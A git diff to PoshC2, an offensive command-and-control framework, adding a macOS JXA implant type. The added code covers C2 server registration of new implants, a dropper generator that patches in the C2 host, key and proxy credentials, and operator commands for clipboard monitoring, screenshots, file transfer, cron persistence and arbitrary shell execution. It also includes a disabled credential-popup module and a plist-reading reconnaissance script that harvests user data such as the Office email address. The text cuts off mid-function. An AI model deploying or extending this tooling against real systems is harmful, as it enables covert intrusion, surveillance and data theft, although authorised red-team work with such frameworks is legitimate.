diff --git a/poshc2/client/Help.py b/poshc2/client/Help.py index 674da0af..5295b9cc 100644 --- a/poshc2/client/Help.py +++ b/poshc2/client/Help.py @@ -54,6 +54,55 @@ quit """ +jxa_help = """ +* Implant Features: +==================== +ps +beacon 60s / beacon 10m / beacon 2h +run-jxa HealthInspector.js Persistent_Dock_Apps() +clipboard-monitor 60 # Causes implant to monitor clipboard changes for a set time (in seconds) +upload-file # then prompts for target and destination +upload-file -source /tmp/test.exe -destination 'c:\\temp\\test.exe' +download-file 'C:\\temp\\interesting-file.txt' +kill-implant +help +searchhelp persistence +back +label-implant +remove-label +quit +""" + +linux_help = """ +* Implant Features: +==================== +ps +startanotherimplant or sai +startanotherimplant-keepfile +beacon 60s / beacon 10m / beacon 2h +turtle 60s / turtle 10m / turtle 2h +python print "This is a test" +listmodules +set-timeout # Set timeout for command execution (in seconds - default 120) +runmodule # Send python module to be executed +upload-file # then prompts for target and destination +upload-file -source /tmp/test -destination /temp/test +download-file '/tmp/interesting-file.txt' +install-persistence-cron +remove-persistence-cron +kill-implant +hide-implant +unhide-implant +help +searchhelp persistence +searchhistory invoke-mimikatz +back +label-implant +remove-label +linuxprivchecker +quit +""" + sharp_help = """ * Implant Features: ==================== @@ -603,3 +652,4 @@ def build_help(help_string): POSH_COMMANDS = build_help(posh_help) PY_COMMANDS = build_help(py_help) SHARP_COMMANDS = build_help(sharp_help) +JXA_COMMANDS = build_help(jxa_help) diff --git a/poshc2/client/command_handlers/ImplantHandler.py b/poshc2/client/command_handlers/ImplantHandler.py index e57a15c2..d882548d 100644 --- a/poshc2/client/command_handlers/ImplantHandler.py +++ b/poshc2/client/command_handlers/ImplantHandler.py @@ -7,7 +7,7 @@ from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.styles import Style -from poshc2.client.Help import SERVER_COMMANDS, PY_COMMANDS, SHARP_COMMANDS, POSH_COMMANDS, server_help +from poshc2.client.Help import SERVER_COMMANDS, PY_COMMANDS, SHARP_COMMANDS, POSH_COMMANDS, JXA_COMMANDS, server_help from poshc2.Colours import Colours from poshc2.server.Config import PayloadsDirectory, PoshProjectDirectory, ReportsDirectory, ModulesDirectory, Database, DatabaseType from poshc2.server.Config import PBindPipeName, PBindSecret, PayloadCommsHost, DomainFrontHeader, FCommFileName @@ -16,6 +16,7 @@ from poshc2.client.reporting.CSV import generate_csv from poshc2.server.payloads.Payloads import Payloads from poshc2.Utils import validate_sleep_time, randomuri, parse_creds, validate_killdate, string_to_array, get_first_url, yes_no_prompt, no_yes_prompt, validate_timestamp_string +from poshc2.client.command_handlers.JxaHandler import handle_jxa_command from poshc2.client.command_handlers.PyHandler import handle_py_command from poshc2.client.command_handlers.SharpHandler import handle_sharp_command from poshc2.client.command_handlers.PSHandler import handle_ps_command @@ -49,6 +50,8 @@ def get_implant_type_prompt_prefix(implant_id): pivot = "C#" elif pivot_original.startswith("Python"): pivot = "PY" + elif pivot_original.startswith("JXA"): + pivot = "JXA" if "Daisy" in pivot_original: pivot = pivot + ";D" if "Proxy" in pivot_original: @@ -359,6 +362,9 @@ def run_implant_command(command, randomuri, implant_id, user): elif implant_type.startswith("C#"): handle_sharp_command(command, user, randomuri, implant_id) return + elif implant_type.startswith("JXA"): + handle_jxa_command(command, user, randomuri, implant_id) + return else: handle_ps_command(command, user, randomuri, implant_id) return @@ -389,6 +395,8 @@ def implant_command_loop(implant_id, user): prompt_commands = POSH_COMMANDS if implant.Pivot.startswith('Python'): prompt_commands = PY_COMMANDS + if implant.Pivot.startswith('JXA'): + prompt_commands = JXA_COMMANDS if implant.Pivot.startswith('C#'): prompt_commands = SHARP_COMMANDS if 'PB' in implant.Pivot: diff --git a/poshc2/client/command_handlers/JxaHandler.py b/poshc2/client/command_handlers/JxaHandler.py new file mode 100644 index 00000000..f10e6bf9 --- /dev/null +++ b/poshc2/client/command_handlers/JxaHandler.py @@ -0,0 +1,196 @@ +import base64, re, traceback, os +from prompt_toolkit import PromptSession +from prompt_toolkit.history import FileHistory +from prompt_toolkit.auto_suggest import AutoSuggestFromHistory +from prompt_toolkit.styles import Style + +#from poshc2.client.Alias import py_alias +from poshc2.Colours import Colours +from poshc2.Utils import argp +from poshc2.server.AutoLoads import check_module_loaded +from poshc2.client.Help import jxa_help +from poshc2.server.Config import ModulesDirectory, PayloadsDirectory, PoshProjectDirectory +from poshc2.server.Core import print_bad +from poshc2.client.cli.CommandPromptCompleter import FilePathCompleter +from poshc2.server.database.DB import new_task, kill_implant, get_implantdetails, get_pid + + +def handle_jxa_command(command, user, randomuri, implant_id): + + command = command.strip() + + if command.startswith("searchhelp"): + do_searchhelp(user, command, randomuri) + return + elif command.startswith("searchhistory"): + do_searchhistory(user, command, randomuri) + return + elif command == "listmodules": + do_listmodules(user, command, randomuri) + return + elif command.startswith("upload-file"): #take contents an call write-file + do_upload_file(user, command, randomuri) + return + elif command == "help": + print(jxa_help) + return + elif command.startswith("clipboard-monitor"): + do_clipboardmonitor(user, command, randomuri) + return + elif command.startswith("run-jxa"): + do_runjxa(user, command, randomuri) + return + elif command.startswith("get-screenshot"): + do_get_screenshot(user, command, randomuri) + return + #elif command.startswith("cred-popper"): #This has a bug. Keeps window open. + # do_credpopper(user, command, randomuri) + # return + elif command == "kill-implant" or command == "exit": + do_kill_implant(user, command, randomuri) + return + elif command.endswith(")"): + do_runmodule(user, command, randomuri) + return + else: + if command: + do_shell(user, command, randomuri) + return + + +def do_searchhistory(user, command, randomuri): + searchterm = (command).replace("searchhistory ", "") + with open('%s/.implant-history' % PoshProjectDirectory) as hisfile: + for line in hisfile: + if searchterm in line.lower(): + print(Colours.GREEN + line.replace("+","")) + + +def do_searchhelp(user, command, randomuri): + searchterm = (command).replace("searchhelp ", "") + helpful = py_help.split('\n') + for line in helpful: + if searchterm in line.lower(): + print(Colours.GREEN + line) + + +def do_clipboardmonitor(user, command, randomuri): + runtime = (command).replace("clipboard-monitor ", "") + jxa_file = open(ModulesDirectory + "clipboard_monitor.js", "r").read() + # Replace the runtime with the specified value + jxa_file = jxa_file % (runtime) + base64string = base64.b64encode(jxa_file.encode("utf-8")).decode("utf-8") + taskcmd = f"{command} #{base64string}" + new_task(taskcmd, user, randomuri) + +def do_credpopper(user, command, randomuri): + title = (command).replace("cred-popper ","").split("'")[1] + text = (command).replace("cred-popper ","").split("'")[3] + icon = (command).replace("cred-popper ","").split("'")[5] + jxa_file = open(ModulesDirectory + "cred-popper.js", "r").read() + jxa_file = jxa_file % (title, text, icon) + base64string = base64.b64encode(jxa_file.encode("utf-8")).decode("utf-8") + taskcmd = f"{command} #{base64string}" + new_task(taskcmd, user, randomuri) + +def do_listmodules(user, command, randomuri): + modules = os.listdir(ModulesDirectory) + modules = sorted(modules, key=lambda s: s.lower()) + print("") + print("[+] Available modules:") + print("") + for mod in modules: + if ".js" in mod: + print(mod) + +def do_upload_file(user, command, randomuri): + source = "" + destination = "" + if command == "upload-file": + style = Style.from_dict({ + '': '#80d130', + }) + session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) + try: + source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) + source = PayloadsDirectory + source + except KeyboardInterrupt: + return + while not os.path.isfile(source): + print("File does not exist: %s" % source) + source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) + source = PayloadsDirectory + source + destination = session.prompt("Location to upload to: ") + else: + args = argp(command) + source = args.source + destination = args.destination + try: + + destination = destination.replace("\\", "\\\\") + print("") + print("Uploading %s to %s" % (source, destination)) + uploadcommand = f"upload-file {source} {destination}" + new_task(uploadcommand, user, randomuri) + except Exception as e: + print("Error with source file: %s" % e) + traceback.print_exc() + + +def do_help(user, command, randomuri): + print(jxa_help) + + +def do_loadmoduleforce(user, command, randomuri): + params = re.compile("loadmoduleforce ", re.IGNORECASE) + params = params.sub("", command) + check_module_loaded(params, randomuri, user, force=True) + +def do_runjxa(user, command, randomuri): + params = re.compile("run-jxa ", re.IGNORECASE) + params = params.sub("", command) + jxa_function = params.split(" ")[1] + jxa_file = params.split(" ")[0] + jxa_file = open(ModulesDirectory + jxa_file, "r").read() + jxa_file = jxa_file + "\n " + jxa_function + base64string = base64.b64encode(jxa_file.encode("utf-8")).decode("utf-8") + taskcmd = f"{command} #{base64string}" + new_task(taskcmd, user, randomuri) + +def do_runmodule(user, command, randomuri): + taskcmd = "run-module " + command + ";" + new_task(taskcmd, user, randomuri) + +def do_loadmodule(user, command, randomuri): + params = re.compile("loadmodule ", re.IGNORECASE) + params = params.sub("", command) + check_module_loaded(params, randomuri, user) + + +def do_get_screenshot(user, command, randomuri): + taskcmd = "screencapture -Cx /Users/Shared/a.png" #OPSEC, this will cause a popup the first time it is run. If denied, will only capture the background. + # Capture screen (mute sounds), download image, delete image + new_task(taskcmd, user, randomuri) + + +def do_kill_implant(user, command, randomuri): + impid = get_implantdetails(randomuri) + ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) + if ri.lower() == "n": + print("Implant not terminated") + if ri == "": + pid = get_pid(randomuri) + new_task("kill -9 %s" % pid, user, randomuri) + kill_implant(randomuri) + if ri.lower() == "y": + pid = get_pid(randomuri) + new_task("kill -9 %s" % pid, user, randomuri) + kill_implant(randomuri) + + +def do_exit(user, command, randomuri): + return do_kill_implant(user, command, randomuri) + + +def do_shell(user, command, randomuri): + new_task(command, user, randomuri) diff --git a/poshc2/server/C2Server.py b/poshc2/server/C2Server.py index dccd60a8..28e7ff43 100644 --- a/poshc2/server/C2Server.py +++ b/poshc2/server/C2Server.py @@ -14,7 +14,7 @@ from poshc2.server.Config import PoshProjectDirectory, ServerHeader, PayloadsDirectory, GET_404_Response, DownloadsDirectory, Database, PayloadCommsHost, SocksHost from poshc2.server.Config import QuickCommand, KillDate, DefaultSleep, DomainFrontHeader, urlConfig, BindIP, BindPort from poshc2.server.Config import DownloadURI, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken -from poshc2.server.Config import Pushover_APIUser, Slack_UserID, Slack_Channel, Slack_BotToken, EnableNotifications, DatabaseType +from poshc2.server.Config import Pushover_APIUser, Slack_UserID, Slack_Channel, Slack_BotToken, EnableNotifications, DatabaseType from poshc2.server.Cert import create_self_signed_cert from poshc2.client.Help import logopic from poshc2.Utils import validate_sleep_time, randomuri, gen_key @@ -164,6 +164,8 @@ def do_GET(self): implant_type = "C# Daisy" if self.path == ("%s?p?c" % new_implant_url): implant_type = "C# Proxy" + if self.path == ("%s?j" % new_implant_url): + implant_type = "JXA" if implant_type.startswith("C#"): cookieVal = (self.cookieHeader).replace("SessionID=", "") @@ -189,6 +191,20 @@ def do_GET(self): newImplant.save() newImplant.display() response_content = encrypt(KEY, newImplant.PythonCore) + + elif implant_type.startswith("JXA"): + cookieVal = (self.cookieHeader).replace("SessionID=", "") + decCookie = decrypt(KEY, cookieVal) + IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) + User, Hostname, PID, URLID = decCookie.split(";") + Domain = Hostname + URLID = URLID.replace("\x00", "") + URLID = URLID.replace("\x07", "") + newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, URLID) + newImplant.save() + newImplant.display() + response_content = encrypt(KEY, newImplant.JXACore) + else: try: cookieVal = (self.cookieHeader).replace("SessionID=", "") diff --git a/poshc2/server/Core.py b/poshc2/server/Core.py index e7923a45..b0a93799 100644 --- a/poshc2/server/Core.py +++ b/poshc2/server/Core.py @@ -100,12 +100,12 @@ def encrypt(key, data, gzipdata=False): # Pad with zeros mod = len(data) % 16 - if mod != 0: - newlen = len(data) + (16 - mod) - try: - data = data.ljust(newlen, '\0') - except TypeError: - data = data.ljust(newlen, bytes('\0', "utf-8")) + #if mod != 0: + newlen = len(data) + (16 - mod) + try: + data = data.ljust(newlen, '\0') + except TypeError: + data = data.ljust(newlen, bytes('\0', "utf-8")) aes = get_encryption(key, os.urandom(16)) data = aes.IV + aes.encrypt(data) if not gzipdata: diff --git a/poshc2/server/Implant.py b/poshc2/server/Implant.py index 5c7146ed..12895094 100644 --- a/poshc2/server/Implant.py +++ b/poshc2/server/Implant.py @@ -50,6 +50,8 @@ def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid, URLID): self.PythonCore = py_implant_core % (self.DomainFrontHeader, self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Jitter, self.Key, self.RandomURI, self.UserAgent) ps_implant_core = open("%s/Implant-Core.ps1" % PayloadTemplatesDirectory, 'r').read() self.PSCore = ps_implant_core % (self.Key, self.Jitter, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs) # Add all db elements def display(self): + jxa_implant_core = open("%s/Implant-Core.js" % PayloadTemplatesDirectory, 'r').read() + self.JXACore = jxa_implant_core % (self.Key, self.Jitter, self.Sleep, self.AllBeaconImages, self.RandomURI, self.ServerURL, self.KillDate, self.AllBeaconURLs) # Add all db elements def display(self): @@ -122,7 +124,7 @@ def autoruns(self): new_task("loadmodule Stage2-Core.exe", "autoruns", self.RandomURI) new_task("loadmodule PwrStatusTracker.dll", "autoruns", self.RandomURI) new_task("loadpowerstatus", "autoruns", self.RandomURI) - update_mods("Stage2-Core.exe PwrStatusTracker.dll", self.RandomURI) + update_mods("Stage2-Core.exe PwrStatusTracker.dll", self.RandomURI) update_label("PSM", self.RandomURI) if "PS" in self.Pivot: new_task("loadmodule Stage2-Core.ps1", "autoruns", self.RandomURI) diff --git a/poshc2/server/Tasks.py b/poshc2/server/Tasks.py index 3c83ec70..35ff5a9f 100644 --- a/poshc2/server/Tasks.py +++ b/poshc2/server/Tasks.py @@ -24,10 +24,15 @@ def newTaskOutput(uriPath, cookieVal, post_data, wsclient=False): encKey = implant.Key Domain = implant.Domain User = implant.User + implant_type = implant.Pivot if RandomURI in uriPath and cookieVal: DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"), RandomURI) decCookie = decrypt(encKey, cookieVal) - rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) + if implant_type == "JXA": + rawoutput = decrypt(encKey, post_data[1500:]) + else: + rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) + if decCookie.startswith("Error"): print(Colours.RED) print("The multicmd errored: ") @@ -92,11 +97,11 @@ def newTaskOutput(uriPath, cookieVal, post_data, wsclient=False): newImplant.save() newImplant.display() newImplant.autoruns() - if "pbind-command run-exe PBind PBind start" in executedCmd: + if "pbind-command run-exe PBind PBind start" in executedCmd: DB.new_task("pbind-pivot-loadmodule Stage2-Core.exe", "autoruns", RandomURI) else: DB.new_task("pbind-loadmodule Stage2-Core.exe", "autoruns", RandomURI) - + elif "fcomm-connect " in executedCmd and "FComm-Connected" in outputParsed: outputParsed = re.search("FComm-Connected:.*", outputParsed) outputParsed = outputParsed[0].replace("FComm-Connected: ", "") @@ -255,6 +260,9 @@ def newTask(path): if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode86") or command.lower().startswith("run-exe core.program core inject-shellcode") or command.lower().startswith("run-exe pbind pbind run-exe core.program core inject-shellcode") or command.lower().startswith("pbind-command run-exe core.program core inject-shellcode") or command.lower().startswith("pbind-pivot-command run-exe core.program core inject-shellcode")): user_command = "Inject Shellcode: %s" % command[command.index("#") + 1:] command = command[:command.index("#")] + elif (command.lower().startswith("run-jxa ")) or (command.lower().startswith("clipboard-monitor ")) or (command.lower().startswith("cred-popper ")): + user_command = command[:command.index("#")] + command = "run-jxa " + command[command.index("#") + 1:] elif (command.lower().startswith('upload-file') or command.lower().startswith('pbind-command upload-file') or command.lower().startswith('fcomm-command upload-file')): PBind = False FComm = False @@ -289,6 +297,8 @@ def newTask(path): command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}" elif implant_type.lower().startswith('py'): command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}" + elif implant_type.lower().startswith('jxa'): + command = f"upload-file {upload_file_destination}:{upload_file_bytes_b64} {upload_args}" else: print(Colours.RED) print("Error parsing upload command: %s" % upload_args) @@ -350,7 +360,7 @@ def newTask(path): except Exception as e: print("Cannot base64 the command for PS") print(e) - traceback.print_exc() + traceback.print_exc() elif task[2].startswith("pbind-command run-exe Program PS "): try: cmd = (task[2]).replace("pbind-command run-exe Program PS ", "") @@ -453,7 +463,7 @@ def newTask(path): except Exception as e: print("Cannot base64 the command for PS") print(e) - traceback.print_exc() + traceback.print_exc() elif task[2].startswith("pbind-connect"): command = command.replace("pbind-connect ", "run-exe PBind PBind start ") elif task[2].startswith("pbind-kill"): @@ -499,7 +509,7 @@ def newTask(path): except Exception as e: print("Cannot base64 the command for PS") print(e) - traceback.print_exc() + traceback.print_exc() elif task[2].startswith("pbind-pivot-connect"): command = command.replace("pbind-pivot-connect ", "run-exe PBind PBind run-exe PBind PBind start ") elif task[2].startswith("pbind-pivot-kill"): diff --git a/poshc2/server/payloads/Payloads.py b/poshc2/server/payloads/Payloads.py index 98409543..134e3610 100644 --- a/poshc2/server/payloads/Payloads.py +++ b/poshc2/server/payloads/Payloads.py @@ -417,6 +417,38 @@ def CreateDotNet2JSFiles(self, payloadtype, name=""): with open(filename, 'w') as f: f.write(base64.b64encode(dotnet.encode('UTF-8')).decode('utf-8')) + def CreateJXA(self, name=""): + self.QuickstartLog(Colours.END) + self.QuickstartLog("macOS JXA Dropper written to: %sdropper_jxa.js" % self.BaseDirectory) + + # get the JXA dropper template + with open("%sdropper_jxa.js" % PayloadTemplatesDirectory, 'r') as f: + dropper_file = f.read() + + # patch the key settings into the file + self.JXADropper = str(dropper_file) \ + .replace("#REPLACEKILLDATE#", self.KillDate) \ + .replace("#REPLACEKEY#", self.Key) \ + .replace("#REPLACEHOSTPORT#", self.PayloadCommsHost) \ + .replace("#REPLACEQUICKCOMMAND#", "/" + self.QuickCommand + "_jxa") \ + .replace("#REPLACECONNECTURL#", self.ConnectURL + "?j") \ + .replace("#REPLACEDOMAINFRONT#", self.DomainFrontHeader) \ + .replace("#REPLACEREFERER#", self.Referrer) \ + .replace("#REPLACEPROXYURL#", self.Proxyurl) \ + .replace("#REPLACEPROXYUSER#", self.Proxyuser) \ + .replace("#REPLACEPROXYPASSWORD#", self.Proxypass) \ + .replace("#REPLACEURLID#", str(self.URLID)) \ + .replace("#REPLACEUSERAGENT#", self.UserAgent) \ + .replace("#REPLACESTAGERRETRIESLIMIT#", str(self.StageRetriesLimit).lower()) \ + .replace("#REPLACESTAGERRETRIES#", str(self.StageRetries).lower()) \ + .replace("#REPLACESTAGERRETRIESWAIT#", str(self.StageRetriesInitialWait)) \ + .replace("#REPLACEIMPTYPE#", self.PayloadCommsHost) + + jxa = self.JXADropper.encode('UTF-8') + jxadropper = jxa.decode('UTF-8') + with open("%s%sdropper_jxa.js" % (self.BaseDirectory, name), 'w') as f: + f.write(jxadropper) + def CreatePython(self, name=""): self.QuickstartLog(Colours.END) self.QuickstartLog("Python2 OSX/Unix/Win Dropper written to: %spy_dropper.sh" % self.BaseDirectory) @@ -751,6 +783,8 @@ def CreateAll(self, name=""): self.CreateMsbuild(name) self.CreateCsc(name) self.CreateDonutShellcode(name) + self.CreateJXA(name) + self.CreatePython(name) self.CreateDynamicCodeTemplate(name) diff --git a/resources/modules/HealthInspector.js b/resources/modules/HealthInspector.js new file mode 100644 index 00000000..5ab88d9a --- /dev/null +++ b/resources/modules/HealthInspector.js @@ -0,0 +1,1288 @@ +//Author Cody Thomas, @its_a_feature_ +//All of these functions use Objective C API calls to read PLIST files from an unauthenticated context +//Helper Functions ----------------------------------- +function hex2a(hexx) { + let hex = hexx.toString();//force conversion + let str = ''; + for (let i = 0; (i < hex.length && hex.substr(i, 2) !== '00'); i += 2) + str += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); + return str; +} +function get_permissions(path){ + let fileManager = $.NSFileManager.defaultManager; + attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), $())); + //return attributes; + let trimmed_attributes = {}; + if(attributes === undefined){ + return ["Failed to get permissions"]; + } + trimmed_attributes['NSFileOwnerAccountID'] = attributes['NSFileOwnerAccountID']; + trimmed_attributes['NSFileExtensionHidden'] = attributes['NSFileExtensionHidden']; + trimmed_attributes['NSFileGroupOwnerAccountID'] = attributes['NSFileGroupOwnerAccountID']; + trimmed_attributes['NSFileOwnerAccountName'] = attributes['NSFileOwnerAccountName']; + trimmed_attributes['NSFileCreationDate'] = attributes['NSFileCreationDate']; + let nsposix = attributes['NSFilePosixPermissions']; + // we need to fix this mess to actually be real permission bits that make sense + let posix = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString(); + trimmed_attributes['NSFilePosixPermissions'] = posix; + trimmed_attributes['NSFileGroupOwnerAccountName'] = attributes['NSFileGroupOwnerAccountName']; + trimmed_attributes['NSFileModificationDate'] = attributes['NSFileModificationDate']; + return trimmed_attributes; +} +function file_exists(path){ + let fileManager = $.NSFileManager.defaultManager; + return fileManager.fileExistsAtPath($(path)); +} +//------------------------------------------------- +function Persistent_Dock_Apps({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/com.apple.dock.plist")){ + if(json==false){ + return "**************************************\n" + "**** Persistent Dock Applications ****\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Persistent_Dock_Apps"}); + } + } + + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/com.apple.dock.plist"); + let contents = ObjC.deepUnwrap(dict); + output['persistent-dock-apps'] = []; + for(let i = 0; i < contents['persistent-apps'].length; i++){ + output['persistent-dock-apps'].push({"label": contents['persistent-apps'][i]['tile-data']['file-label'], + "bundle": contents['persistent-apps'][i]['tile-data']['bundle-identifier']}); + } + for(let i = 0; i < contents['persistent-others'].length; i++){ + output['persistent-dock-apps'].push({"label": contents['persistent-others'][i]['tile-data']['file-label'], + "bundle": contents['persistent-others'][i]['tile-data']['bundle-identifier']}); + } + output['show-recents'] = contents['show-recents']; + output['recent-apps'] = contents['recent-apps']; + if(json==false){ + output = "**************************************\n" + "**** Persistent Dock Applications ****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + } + else{ + output['HealthInspectorCommand'] = "Persistent_Dock_Apps"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Spaces_Check({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/com.apple.spaces.plist")){ + if(json==false){ + return "**************************************\n" + "******** Desktops Information ********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Spaces_Check"}); + } + } + + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/com.apple.spaces.plist"); + let contents = ObjC.deepUnwrap(dict); + let monitors = contents['SpacesDisplayConfiguration']['Management Data']['Monitors']; + for(let i = 0; i < monitors.length; i++){ + if(monitors[i]['Display Identifier'] == "Main"){ + let currentSpaceID = monitors[i]['Current Space']['ManagedSpaceID']; + let currentSpacePlace = 0; + let totalSpaces = monitors[i]['Spaces'].length; + for(let j = 0; j < monitors[i]['Spaces'].length; j++){ + if(currentSpaceID == monitors[i]['Spaces'][j]['ManagedSpaceID']){ + currentSpacePlace = j + 1; + } + } + output['Main Desktop'] = {}; + output['Main Desktop']['Current Space'] = currentSpacePlace; + output['Main Desktop']['Total Spaces'] = totalSpaces; + } + } + if(json==false){ + output = "**************************************\n" + "******** Desktops Information ********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + } + else{ + output['HealthInspectorCommand'] = "Spaces_Check"; + output = JSON.stringify(output, null, 1); + } + + return output;} +function Get_Office_Email({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/com.microsoft.office.plist")){ + if(json==false){ + return "**************************************\n" + "****** Registered Office Email ******\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Get_Office_Email"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/com.microsoft.office.plist"); + let contents = ObjC.deepUnwrap(dict); + let output = {}; + if(contents != {} && contents != undefined){ + output['email'] = contents['OfficeActivationEmailAddress']; + if(json==false){ + output = "**************************************\n" + "****** Registered Office Email ******\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Get_Office_Email"; + output = JSON.stringify(output, null, 1); + } + } + return output;} +function Saved_Printers({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/org.cups.PrintingPrefs.plist")){ + if(json==false){ + return "**************************************\n" + "********* Last Used Printers *********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Saved_Printers"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/org.cups.PrintingPrefs.plist"); + let contents = ObjC.deepUnwrap(dict); + output['LastUsedPrinters'] = []; + if(contents != undefined){ + if(contents.hasOwnProperty('LastUsedPrinters')){ + for(let i = 0; i < contents['LastUsedPrinters'].length; i++){ + output['LastUsedPrinters'].push({"Network": contents['LastUsedPrinters'][i]['Network'], + "PrinterID": contents['LastUsedPrinters'][i]['PrinterID']}); + } + } + if(json==false){ + output = "**************************************\n" + "********* Last Used Printers *********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Saved_Printers"; + output = JSON.stringify(output, null, 1); + } + } + return output;} +function Finder_Preferences({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/com.apple.finder.plist")){ + if(json==false){ + return "**************************************\n" + "** Recent Folders and Finder Prefs **\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Finder_Preferences"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/com.apple.finder.plist"); + let contents = ObjC.deepUnwrap(dict); + output['Recent Move and Copy Destinations'] = contents['RecentMoveAndCopyDestinations']; + output['Finder GoTo Folder Recents'] = contents['GoToFieldHistory']; + output['Show All Files in Finder'] = contents['AppleShowAllFiles']; + output['Show Removable Media on Desktop'] = contents['ShowRemovableMediaOnDesktop']; + output['Tag Names'] = contents['FavoriteTagNames']; + output['Recent Folders'] = []; + if('FXRecentFolders' in contents){ + for(let i = 0; i < contents['FXRecentFolders'].length; i++){ + output['Recent Folders'].push(contents['FXRecentFolders'][i]['name']); + } + } + if('FXDesktopVolumePositions' in contents){ + output['Prior Mounted Volumes'] = Object.keys(contents['FXDesktopVolumePositions']); + } + if(json==false){ + output = "**************************************\n" + "** Recent Folders and Finder Prefs **\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Finder_Preferences"; + output = JSON.stringify(output, null, 1); + } + + return output;} +function Launch_Services({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist")){ + if(json==false){ + return "**************************************\n" + "*** Custom LaunchServices Handlers ***\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Launch_Services"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist"); + let contents = ObjC.deepUnwrap(dict); + output['LSHandlers_FileExtensions'] = []; + output['LSHandlers_URLSchemes'] = []; + if(contents != undefined){ + for(let i = 0; i < contents['LSHandlers'].length; i++){ + if(contents['LSHandlers'][i].hasOwnProperty('LSHandlerContentTag')){ + output['LSHandlers_FileExtensions'].push({"file_extension": contents['LSHandlers'][i]['LSHandlerContentTag'], + "handler": contents['LSHandlers'][i]['LSHandlerRoleAll']}); + } + else if(contents['LSHandlers'][i].hasOwnProperty('LSHandlerURLScheme')){ + output['LSHandlers_URLSchemes'].push({"URLScheme": 